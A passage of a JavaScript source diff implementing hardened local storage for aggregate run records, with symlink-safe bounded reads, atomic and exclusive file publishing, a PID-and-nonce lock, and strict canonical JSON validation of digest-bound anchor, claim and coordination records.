failAnchor('aggregate_run_flood', field, + `Aggregate run directories must not exceed ${maxEntries} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(assertSafeChildName(entry.name, field)); + } + } finally { + await dir.close().catch(() => {}); + } + return names; +} + +async function readBoundedFile(dirToken, name, maxBytes, field) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failAnchor('aggregate_run_not_regular', field, 'Aggregate run files must be regular non-symlink files.'); + } + mapErrno(error, field, 'aggregate_run_unreadable', 'The aggregate run file could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) > maxBytes) { + failAnchor('aggregate_run_too_large', field, `Aggregate run files must not exceed ${maxBytes} bytes.`); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failAnchor('aggregate_run_too_large', field, `Aggregate run files must not exceed ${maxBytes} bytes.`); + } + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size) + || Number(after.nlink) !== Number(stat.nlink)) { + failAnchor('aggregate_run_unreadable', field, 'The aggregate run file changed while it was read.'); + } + return { bytes, stat, path: target }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function inspectFileIdentity(dirToken, name, field) { + const opened = await readBoundedFile(dirToken, name, Number.MAX_SAFE_INTEGER, field); + if (opened === null) return null; + return { path: opened.path, dev: opened.stat.dev, ino: opened.stat.ino }; +} + +async function reopenFileIdentity(token, label, maxBytes, field) { + const dirPath = path.dirname(token.path); + const name = path.basename(token.path); + const fakeDir = { path: dirPath }; + const opened = await readBoundedFile(fakeDir, name, maxBytes, field); + if (opened === null) { + failAnchor(swapCodeFor(label), label, `The aggregate run ${label} was replaced during use.`); + } + if (!sameIdentity(opened.stat, token)) { + failAnchor(swapCodeFor(label), label, `The aggregate run ${label} was replaced during use.`); + } + return opened; +} + +function equalBytes(left, right) { + if (!NodeBuffer.isBuffer(left) || !NodeBuffer.isBuffer(right) || left.length !== right.length) { + return false; + } + return TIMING_SAFE_EQUAL(left, right); +} + +async function writePrivateTemp(dirToken, bytes, field) { + const tempName = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const tempPath = childPath(dirToken.path, tempName); + let handle; + try { + handle = await open(tempPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, field, 'aggregate_run_unreadable', 'A private temporary file could not be created.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) !== bytes.byteLength) { + failAnchor('aggregate_run_unreadable', field, 'Temporary write was truncated.'); + } + return { name: tempName, path: tempPath, dev: stat.dev, ino: stat.ino }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function atomicPublish(dirToken, finalName, bytes, field) { + const temp = await writePrivateTemp(dirToken, bytes, field); + const finalPath = childPath(dirToken.path, finalName); + try { + await rename(temp.path, finalPath); + } catch (error) { + await unlink(temp.path).catch(() => {}); + mapErrno(error, field, 'aggregate_run_unreadable', + 'The aggregate run file could not be published atomically.'); + } + await syncDirectory(dirToken.handle); + const reread = await readBoundedFile(dirToken, finalName, bytes.byteLength, field); + if (reread === null || !equalBytes(reread.bytes, bytes) || !sameIdentity(reread.stat, temp)) { + failAnchor('aggregate_run_unreadable', field, 'Detached or unverifiable publication is not success.'); + } + return { path: reread.path, dev: reread.stat.dev, ino: reread.stat.ino }; +} + +async function exclusivePublish(dirToken, finalName, bytes, field) { + const temp = await writePrivateTemp(dirToken, bytes, field); + const finalPath = childPath(dirToken.path, finalName); + try { + await link(temp.path, finalPath); + } catch (error) { + await unlink(temp.path).catch(() => {}); + if (error?.code === 'EEXIST') return { published: false }; + if (error?.code === 'ELOOP') { + failAnchor('aggregate_run_not_regular', field, 'Aggregate run files must be regular non-symlink files.'); + } + mapErrno(error, field, 'aggregate_run_unreadable', + 'The aggregate run file could not be published exclusively.'); + } + await unlink(temp.path).catch(() => {}); + await syncDirectory(dirToken.handle); + const reread = await readBoundedFile(dirToken, finalName, bytes.byteLength, field); + if (reread === null || !equalBytes(reread.bytes, bytes) || !sameIdentity(reread.stat, temp)) { + failAnchor('aggregate_run_unreadable', field, 'Detached or unverifiable publication is not success.'); + } + return { published: true, path: reread.path, dev: reread.stat.dev, ino: reread.stat.ino }; +} + +async function removeStaleTemporaries(dirToken, names) { + let removed = 0; + for (const name of names) { + if (!capturedTest(TEMP_NAME_PATTERN, name) && !capturedTest(LOCK_OWNER_NAME_PATTERN, name)) { + continue; + } + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') continue; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failAnchor('aggregate_run_not_regular', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + throw error; + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failAnchor('aggregate_run_not_regular', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await unlink(target); + removed += 1; + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + } + if (removed > 0) await syncDirectory(dirToken.handle); + return removed; +} + +function pidAlive(pid) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return false; + try { + process.kill(pid, 0); + return true; + } catch (error) { + return error?.code === 'EPERM'; + } +} + +function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +function validLockPidShape(pid) { + return NUMBER_IS_SAFE_INTEGER(pid) && pid >= 1 && pid <= 0xffffffff; +} + +async function readLockFile(dirToken, schemaId) { + const target = childPath(dirToken.path, LOCK_NAME); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'ENOTDIR' || error?.code === 'EISDIR') { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + throw error; + } + let opened; + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + if ((Number(stat.mode) & 0o077) !== 0 || Number(stat.size) > MAX_AGGREGATE_LOCK_BYTES) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const bytes = await handle.readFile(); + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size)) return null; + opened = { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } + let text; + try { + text = TEXT_DECODER.decode(opened.bytes); + } catch { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + let parsed; + try { + parsed = JSON_PARSE(text.endsWith('\n') ? text.slice(0, -1) : text); + } catch { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + const keys = parsed === null || typeof parsed !== 'object' ? [] : sortedCapturedKeys(parsed); + if (text.length > MAX_AGGREGATE_LOCK_BYTES || keys.length !== 3 + || !keys.includes('schema') || !keys.includes('pid') || !keys.includes('nonce') + || parsed.schema !== schemaId + || !validLockPidShape(parsed.pid) + || typeof parsed.nonce !== 'string' + || !capturedTest(NONCE_PATTERN, parsed.nonce)) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, + 'The lock file is malformed and was not followed.'); + } + return { schema: parsed.schema, pid: parsed.pid, nonce: parsed.nonce, dev: opened.stat.dev, ino: opened.stat.ino }; +} + +async function lockAgeMs(dirToken) { + let handle; + try { + handle = await open(childPath(dirToken.path, LOCK_NAME), FILE_READ_FLAGS); + } catch { + return 0; + } + try { + const stat = await handle.stat(); + return Math.max(0, Date.now() - Number(stat.mtimeMs)); + } catch { + return 0; + } finally { + await handle.close().catch(() => {}); + } +} + +async function acquireLock(dirToken, schemaId) { + const deadline = Date.now() + AGGREGATE_LOCK_WAIT_MS; + let steals = 0; + while (true) { + const ownerName = `.lock-${RANDOM_BYTES(16).toString('hex')}`; + const ownerPath = childPath(dirToken.path, ownerName); + const ownerBody = `${canonicalJsonStringify({ + schema: schemaId, + pid: process.pid, + nonce: RANDOM_BYTES(16).toString('hex'), + })}\n`; + let handle; + try { + handle = await open(ownerPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, 'lock', 'aggregate_run_unreadable', 'The lock owner file could not be created.'); + } + try { + await handle.writeFile(ownerBody, 'utf8'); + } finally { + await handle.close().catch(() => {}); + } + let acquired = false; + try { + await link(ownerPath, childPath(dirToken.path, LOCK_NAME)); + acquired = true; + } catch (error) { + if (error?.code === 'ENOENT') acquired = false; + else if (error?.code !== 'EEXIST') { + await unlink(ownerPath).catch(() => {}); + mapErrno(error, 'lock', 'aggregate_run_unreadable', 'The lock could not be acquired exclusively.'); + } + } + await unlink(ownerPath).catch(() => {}); + if (acquired) { + const held = await readLockFile(dirToken, schemaId); + if (held === null || held.pid !== process.pid) { + failAnchor('aggregate_run_lock_corrupt', LOCK_NAME, 'The acquired lock was replaced before use.'); + } + return held; + } + const existing = await readLockFile(dirToken, schemaId); + if (existing === null) continue; + const ageMs = await lockAgeMs(dirToken); + const stale = !pidAlive(existing.pid) || ageMs > AGGREGATE_LOCK_MAX_AGE_MS; + if (stale && steals < MAX_AGGREGATE_LOCK_STEALS) { + const current = await readLockFile(dirToken, schemaId).catch(() => null); + if (current !== null && current.pid === existing.pid + && Number(current.dev) === Number(existing.dev) + && Number(current.ino) === Number(existing.ino)) { + try { + await unlink(childPath(dirToken.path, LOCK_NAME)); + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + steals += 1; + continue; + } + continue; + } + if (Date.now() >= deadline) { + failAnchor('aggregate_run_lock_timeout', LOCK_NAME, + 'The aggregate run lock stayed contended for the bounded wait.'); + } + await sleep(AGGREGATE_LOCK_POLL_MS); + } +} + +async function releaseLock(dirToken, token, schemaId) { + const held = await readLockFile(dirToken, schemaId).catch(() => null); + if (held === null) return; + if (held.nonce !== token.nonce + || Number(held.dev) !== Number(token.dev) + || Number(held.ino) !== Number(token.ino)) { + return; + } + await unlink(childPath(dirToken.path, LOCK_NAME)).catch(() => {}); +} + +function decodeStrictUtf8(bytes, field) { + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbb) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run files must not begin with a UTF-8 BOM.'); + } + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run files must not begin with a UTF-8 BOM.'); + } + try { + return TEXT_DECODER.decode(bytes); + } catch { + failAnchor('aggregate_run_malformed', field, 'Aggregate run files must be valid UTF-8.'); + } +} + +function assertNoDuplicateJsonKeys(text, field) { + if (typeof text !== 'string') { + failAnchor('aggregate_run_malformed', field, 'Aggregate run records must be UTF-8 JSON text.'); + } + const scopes = [{ object: false, keys: new Set() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) { + cursor += 1; + } + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(text.slice(stringStart - 1, index + 1)); + } catch { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON key is invalid.'); + } + if (scope.keys.has(key)) { + failAnchor('aggregate_run_duplicate_entry', field, + 'Aggregate run JSON objects must not contain duplicate keys.'); + } + scope.keys.add(key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + stringStart = index + 1; + continue; + } + if (char === '{') { + scopes.push({ object: true, keys: new Set() }); + if (scopes.length > 40) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '[') { + scopes.push({ object: false, keys: new Set() }); + if (scopes.length > 40) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON exceeds the nesting bound.'); + } + continue; + } + if (char === '}' || char === ']') { + if (scopes.length <= 1) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON is unbalanced.'); + } + scopes.pop(); + } + } + if (inString || scopes.length !== 1) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run JSON is incomplete.'); + } +} + +function parseCanonicalObject(bytes, field, maxBytes) { + if (!NodeBuffer.isBuffer(bytes) || bytes.byteLength === 0) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run record is truncated.'); + } + if (bytes.byteLength > maxBytes) { + failAnchor('aggregate_run_too_large', field, 'Aggregate run file exceeds the bounded size.'); + } + const text = decodeStrictUtf8(bytes, field); + if (!text.endsWith('\n')) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run records must end with a single newline.'); + } + const body = text.slice(0, -1); + assertNoDuplicateJsonKeys(body, field); + let parsed; + try { + parsed = JSON_PARSE(body); + } catch { + failAnchor('aggregate_run_malformed', field, 'Aggregate run record is not valid JSON.'); + } + if (parsed === undefined || parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run record must be a JSON object.'); + } + if (canonicalJsonStringify(parsed) !== body) { + failAnchor('aggregate_run_malformed', field, 'Aggregate run records must be canonical UTF-8 JSON.'); + } + assertDirectJsonClosure(parsed, field); + return parsed; +} + +function encodeRecord(record, maxBytes, field) { + const bytes = BUFFER_FROM(`${canonicalJsonStringify(record)}\n`, 'utf8'); + if (bytes.byteLength > maxBytes) { + failAnchor('aggregate_run_too_large', field, `Aggregate run records must not exceed ${maxBytes} bytes.`); + } + return bytes; +} + +export function deriveAggregateSubmissionKeyV1(runId, git, manifestDigest) { + assertRunId(runId, 'run_id'); + const boundGit = validateGitIdentityV1(git, 'git'); + assertHexDigest(manifestDigest, 'manifest_digest'); + return identityBoundDigest(IDENTITY_LABELS.AGGREGATE_SUBMISSION_IDEMPOTENCY, { + schema: AGGREGATE_SUBMISSION_SCHEMA_ID, + run_id: runId, + git_digest: boundGit.digest, + repository_path: boundGit.repository_path, + base_sha: boundGit.base_sha, + manifest_digest: manifestDigest, + }); +} + +function bindMarkerPayload(nonce) { + if (typeof nonce !== 'string' || !capturedTest(NONCE_PATTERN, nonce)) { + failAnchor('invalid_format', 'nonce', 'Storage root nonce must be 32 lowercase hex characters.'); + } + const payload = { + schema: STORAGE_ROOT_SCHEMA_ID, + kind: AGGREGATE_STORAGE_ROOT_KIND, + nonce, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.STORAGE_ROOT, payload); + const record = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_MARKER_BYTES, MARKER_NAME) }; +} + +function parseStoredMarker(bytes, field = MARKER_NAME) { + const parsed = parseCanonicalObject(bytes, field, MAX_AGGREGATE_MARKER_BYTES); + const fields = closedObject(parsed, field, AGGREGATE_MARKER_KEYS); + if (fields.schema !== STORAGE_ROOT_SCHEMA_ID) { + failAnchor('aggregate_run_malformed', `${field}.schema`, + `Storage root schema must be exactly "${STORAGE_ROOT_SCHEMA_ID}".`); + } + if (fields.kind !== AGGREGATE_STORAGE_ROOT_KIND) { + failAnchor('aggregate_run_root_foreign', `${field}.kind`, + 'Storage root marker kind must be exactly aggregate_run_anchor.'); + } + const rebuilt = bindMarkerPayload(fields.nonce); + if (rebuilt.record.canonical_digest !== fields.canonical_digest + || !equalBytes(rebuilt.bytes, bytes)) { + failAnchor('aggregate_run_identity_mismatch', field, + 'Storage root marker digest does not match its canonical form.'); + } + return rebuilt; +} + +function bindClaimPayload(fields) { + assertRunId(fields.run_id, 'run_id'); + assertBoundDigest(fields.anchor_digest, 'anchor_digest'); + assertBoundDigest(fields.submission_idempotency_key, 'submission_idempotency_key'); + assertBoundDigest(fields.root_marker_digest, 'root_marker_digest'); + if (typeof fields.root_marker_nonce !== 'string' || !capturedTest(NONCE_PATTERN, fields.root_marker_nonce)) { + failAnchor('invalid_format', 'root_marker_nonce', + 'Claim root marker nonce must be 32 lowercase hex characters.'); + } + if (typeof fields.nonce !== 'string' || !capturedTest(NONCE_PATTERN, fields.nonce)) { + failAnchor('invalid_format', 'nonce', 'Claim nonce must be 32 lowercase hex characters.'); + } + const payload = { + schema: AGGREGATE_RUN_CLAIM_SCHEMA_ID, + run_id: fields.run_id, + anchor_digest: fields.anchor_digest, + submission_idempotency_key: fields.submission_idempotency_key, + root_marker_nonce: fields.root_marker_nonce, + root_marker_digest: fields.root_marker_digest, + nonce: fields.nonce, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_CLAIM, payload); + const record = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_CLAIM_BYTES, 'claim') }; +} + +function parseStoredClaim(bytes, field = 'claim') { + const parsed = parseCanonicalObject(bytes, field, MAX_AGGREGATE_CLAIM_BYTES); + const fields = closedObject(parsed, field, AGGREGATE_CLAIM_KEYS); + if (fields.schema !== AGGREGATE_RUN_CLAIM_SCHEMA_ID) { + failAnchor('aggregate_run_malformed', `${field}.schema`, + `Claim schema must be exactly "${AGGREGATE_RUN_CLAIM_SCHEMA_ID}".`); + } + const rebuilt = bindClaimPayload(fields); + if (rebuilt.record.canonical_digest !== fields.canonical_digest + || !equalBytes(rebuilt.bytes, bytes)) { + failAnchor('aggregate_run_identity_mismatch', field, + 'Claim digest does not match its canonical form.'); + } + return rebuilt; +} + +function bindAnchorPayload(fields) { + const identity = validateRunIdentityV1(fields.identity, 'identity'); + const git = validateGitIdentityV1(fields.git, 'git'); + assertSharedGitIdentityV1(identity.git, git, 'git'); + assertRunId(fields.run_id, 'run_id'); + assertHexDigest(fields.manifest_digest, 'manifest_digest'); + if (identity.run_id !== fields.run_id) { + failAnchor('aggregate_run_identity_mismatch', 'run_id', + 'Aggregate run records must bind one run identity.'); + } + if (identity.manifest_digest !== fields.manifest_digest) { + failAnchor('aggregate_run_identity_mismatch', 'manifest_digest', + 'manifest_digest must equal the bound run identity manifest digest.'); + } + if (identity.git.digest !== git.digest) { + failAnchor('aggregate_run_identity_mismatch', 'git', + 'Git identity does not match the immutable repository/base authority.'); + } + const submissionKey = deriveAggregateSubmissionKeyV1(fields.run_id, git, fields.manifest_digest); + const payload = { + schema: AGGREGATE_RUN_ANCHOR_SCHEMA_ID, + run_id: fields.run_id, + identity, + git, + manifest_digest: fields.manifest_digest, + submission_idempotency_key: submissionKey, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_ANCHOR, payload); + const record = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_ANCHOR_BYTES, 'anchor') }; +} + +export function validateAggregateRunAnchorV1(value, path = 'anchor') { + const fields = closedObject(value, path, AGGREGATE_RUN_ANCHOR_KEYS); + if (fields.schema !== AGGREGATE_RUN_ANCHOR_SCHEMA_ID) { + failAnchor('invalid_format', `${path}.schema`, + `Aggregate run anchor schema must be exactly "${AGGREGATE_RUN_ANCHOR_SCHEMA_ID}".`); + } + const rebuilt = bindAnchorPayload(fields); + if (rebuilt.record.canonical_digest !== fields.canonical_digest) { + failAnchor('aggregate_run_identity_mismatch', `${path}.canonical_digest`, + 'Anchor digest does not match its canonical form.'); + } + return rebuilt.record; +} + +function parseSubmitInput(input) { + if (input === undefined || input === null) { + failAnchor('invalid_type', 'record', 'Aggregate run submission must be a plain JSON data object.'); + } + assertDirectJsonClosure(input, 'record'); + const fields = closedObject(input, 'record', AGGREGATE_RUN_ANCHOR_INPUT_KEYS); + return bindAnchorPayload(fields); +} + +function parseStoredAnchor(bytes, field = 'anchor') { + const parsed = parseCanonicalObject(bytes, field, MAX_AGGREGATE_ANCHOR_BYTES); + const record = validateAggregateRunAnchorV1(parsed, field); + const rebuilt = bindAnchorPayload(record); + if (!equalBytes(rebuilt.bytes, bytes)) { + failAnchor('aggregate_run_identity_mismatch', field, + 'Stored canonical bytes do not match the recomputed anchor.'); + } + return rebuilt; +} + +function parseNullableDigest(value, field) { + if (value === null) return null; + assertBoundDigest(value, field); + return value; +} + +function parseSelectionBinding(value, runId, field) { + if (value === null) return null; + const fields = closedObject(value, field, AGGREGATE_SELECTION_BINDING_KEYS); + assertRunId(fields.run_id, `${field}.run_id`); + if (fields.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', `${field}.run_id`, + 'Selection request binding must name the bound run.'); + } + if (typeof fields.request_id !== 'string' || !capturedTest(REQUEST_ID_PATTERN, fields.request_id)) { + failAnchor('invalid_format', `${field}.request_id`, 'Selection request id must match sel-<32hex>.'); + } + assertBoundDigest(fields.digest, `${field}.digest`); + assertBoundDigest(fields.record_digest, `${field}.record_digest`); + return snapshotRecord(fields); +} + +function sameBinding(left, right) { + if (left === null && right === null) return true; + if (left === null || right === null) return false; + return left.run_id === right.run_id + && left.request_id === right.request_id + && left.digest === right.digest + && left.record_digest === right.record_digest; +} + +function bindCoordinationPayload(fields) { + assertRunId(fields.run_id, 'run_id'); + assertBoundDigest(fields.anchor_digest, 'anchor_digest'); + if (!NUMBER_IS_SAFE_INTEGER(fields.revision) || fields.revision < 0 || fields.revision > 2) { + failAnchor('invalid_format', 'revision', 'Coordination revision must be 0, 1, or 2.'); + } + if (!capturedIncludes(AGGREGATE_RUN_PHASES, fields.phase)) { + failAnchor('invalid_format', 'phase', 'Coordination phase is not a legal aggregate run phase.'); + } + const binding = parseSelectionBinding(fields.selection_request_binding, fields.run_id, + 'selection_request_binding'); + const reply = parseNullableDigest(fields.selection_reply_digest, 'selection_reply_digest'); + const plan = parseNullableDigest(fields.resolved_plan_digest, 'resolved_plan_digest'); + if (fields.phase === 'submitted') { + if (fields.revision !== 0 || binding !== null || reply !== null || plan !== null) { + failAnchor('aggregate_run_phase_conflict', 'phase', + 'submitted coordination must be revision 0 with empty bindings.'); + } + } else if (fields.phase === 'awaiting_selection') { + if (fields.revision !== 1 || binding === null || reply !== null || plan !== null) { + failAnchor('aggregate_run_phase_conflict', 'phase', + 'awaiting_selection coordination must be revision 1 with a request binding only.'); + } + } else if (fields.revision === 2) { + if (binding === null || reply === null || plan === null) { + failAnchor('aggregate_run_phase_conflict', 'phase', + 'resolution_ready@2 must bind request, reply, and resolved plan.'); + } + } else if (fields.revision === 1) { + if (binding !== null || reply !== null || plan === null) { + failAnchor('aggregate_run_phase_conflict', 'phase', + 'resolution_ready@1 must bind only a resolved plan.'); + } + } else { + failAnchor('aggregate_run_phase_conflict', 'revision', + 'resolution_ready revision must be 1 or 2.'); + } + const payload = { + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: fields.run_id, + anchor_digest: fields.anchor_digest, + revision: fields.revision, + phase: fields.phase, + selection_request_binding: binding, + selection_reply_digest: reply, + resolved_plan_digest: plan, + }; + const stateDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_COORDINATION, payload); + const record = snapshotRecord({ ...payload, state_digest: stateDigest }); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_COORDINATION_BYTES, 'coordination') }; +} + +export function validateAggregateRunCoordinationV1(value, path = 'coordination') { + const fields = closedObject(value, path, AGGREGATE_RUN_COORDINATION_KEYS); + if (fields.schema !== AGGREGATE_RUN_COORDINATION_SCHEMA_ID) { + failAnchor('invalid_format', `${path}.schema`, + `Coordination schema must be exactly "${AGGREGATE_RUN_COORDINATION_SCHEMA_ID}".`); + } + const rebuilt = bindCoordinationPayload(fields); + if (rebuilt.record.state_digest !== fields.state_digest) { + failAnchor('aggregate_run_identity_mismatch', `${path}.state_digest`, + 'Coordination digest does not match its canonical form.'); + } + return rebuilt.record; +} + +function parseStoredCoordination(bytes, field = 'coordination') { + const parsed = parseCanonicalObject(bytes, field, MAX_AGGREGATE_COORDINATION_BYTES); + const record = validateAggregateRunCoordinationV1(parsed, field); + const rebuilt = bindCoordinationPayload(record); + if (!equalBytes(rebuilt.bytes, bytes)) { + failAnchor('aggregate_run_identity_mismatch', field, + 'Stored canonical bytes do not match the recomputed coordination.'); + } + return rebuilt; +} + +function initialCoordination(anchor) { + return bindCoordinationPayload({ + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: anchor.run_id, + anchor_digest: anchor.canonical_digest, + revision: 0, + phase: 'submitted', + selection_request_binding: null, + selection_reply_digest: null, + resolved_plan_digest: null, + }); +} + +function stampRecord(runId, anchorDigest, nonceHex) { + return { + schema: AGGREGATE_RUN_STAMP_SCHEMA_ID, + run_id: runId, + record_canonical_digest: anchorDigest, + nonce: nonceHex, + }; +} + +function bindStampPayload(runId, anchorDigest, nonceHex) { + assertRunId(runId, 'run_id'); + assertBoundDigest(anchorDigest, 'record_canonical_digest'); + if (typeof nonceHex !== 'string' || !capturedTest(NONCE_PATTERN, nonceHex)) { + failAnchor('invalid_format', 'nonce', 'Creation stamp nonce must be 32 lowercase hex characters.'); + } + const record = stampRecord(runId, anchorDigest, nonceHex); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_STAMP_BYTES, STAMP_NAME) }; +} + +async function verifyCreationStamp(dirToken, binding, claimNonce) { + const rebound = () => failAnchor('aggregate_run_dir_swapped', STAMP_NAME, + 'The run directory is not the private aggregate run created for this claim.'); + let expected; + try { + expected = bindStampPayload(binding.run_id, binding.canonical_digest, claimNonce); + } catch (error) { + if (error instanceof RunContractV1Error) rebound(); + throw error; + } + const opened = await readBoundedFile(dirToken, STAMP_NAME, MAX_AGGREGATE_STAMP_BYTES, STAMP_NAME); + if (opened === null || !equalBytes(opened.bytes, expected.bytes)) rebound(); +} + +function classifyRootName(name) { + if (name === MARKER_NAME) return 'marker'; + if (name === CLAIMS_NAME) return 'claims'; + if (name === RUNS_NAME) return 'runs'; + if (name === LOCK_NAME) return 'lock'; + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name)) return 'temp'; + return 'foreign'; +} + +function classifyUnmarkedRoot(names) { + if (names.length === 0) return 'empty'; + let sawP24 = false; + let sawRuns = false; + for (const name of names) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name)) continue; + if (capturedTest(P24_RECORD_NAME_PATTERN, name) || capturedTest(P24_KEY_NAME_PATTERN, name)) { + sawP24 = true; + continue; + } + if (name === RUNS_NAME) { + sawRuns = true; + continue; + } + return 'foreign'; + } + if (sawP24) return 'p24'; + if (sawRuns) return 'p25'; + return 'foreign'; +} + +async function mkdirExclusive(target, field) { + try { + await mkdir(target, { mode: 0o700 }); + return true; + } catch (error) { + if (error?.code === 'EEXIST') return false; + mapErrno(error, field, 'aggregate_run_unreadable', 'The aggregate run directory could not be created.'); + } +} + +async function ensurePrivateDirectory(parent, name, field) { + const target = childPath(parent.path, name); + await mkdirExclusive(target, field); + const opened = await openDirectoryHandle(target, field); + return opened; +} + +function withRootChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = ROOT_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (ROOT_CHAINS.get(id) === settled) ROOT_CHAINS.delete(id); + }); + ROOT_CHAINS.set(id, settled); + return current; +} + +async function readAndParseMarker(rootToken) { + const opened = await readBoundedFile(rootToken, MARKER_NAME, MAX_AGGREGATE_MARKER_BYTES, 'marker'); + if (opened === null) return null; + const parsed = parseStoredMarker(opened.bytes); + return { ...parsed, stat: opened.stat, path: opened.path }; +} + +async function auditMarkedRoot(rootToken, { createMissing = false } = {}) { + const names = await enumerateDirectory(rootToken, MAX_AGGREGATE_ROOT_ENTRIES, 'root'); + const marker = await readAndParseMarker(rootToken); + if (marker === null) { + const kind = classifyUnmarkedRoot(names); + if (kind === 'empty') { + failAnchor('aggregate_run_root_uninitialized', 'root', + 'The aggregate run root has not been initialized.'); + } + if (kind === 'p24' || kind === 'p25') { + failAnchor('aggregate_run_root_shared', 'root', + 'The aggregate run root must be separate from accepted P24 and P25 roots.'); + } + failAnchor('aggregate_run_root_foreign', 'root', + 'The aggregate run root contains a foreign layout.'); + } + const allowed = []; + for (const name of names) { + const kind = classifyRootName(name); + if (kind === 'foreign') { + failAnchor('aggregate_run_root_foreign', 'root', + 'The aggregate run root contains a foreign entry.'); + } + if (kind === 'temp') allowed.push(name); + else allowed.push(name); + } + await removeStaleTemporaries(rootToken, names); + let claims = null; + let runs = null; + if (!names.includes(CLAIMS_NAME)) { + if (!createMissing) { + failAnchor('aggregate_run_root_unreadable', 'claims', + 'The initialized aggregate run root is missing its claims directory.'); + } + claims = await ensurePrivateDirectory(rootToken, CLAIMS_NAME, 'claims'); + } else { + claims = await openDirectoryHandle(childPath(rootToken.path, CLAIMS_NAME), 'claims'); + } + try { + if (!names.includes(RUNS_NAME)) { + if 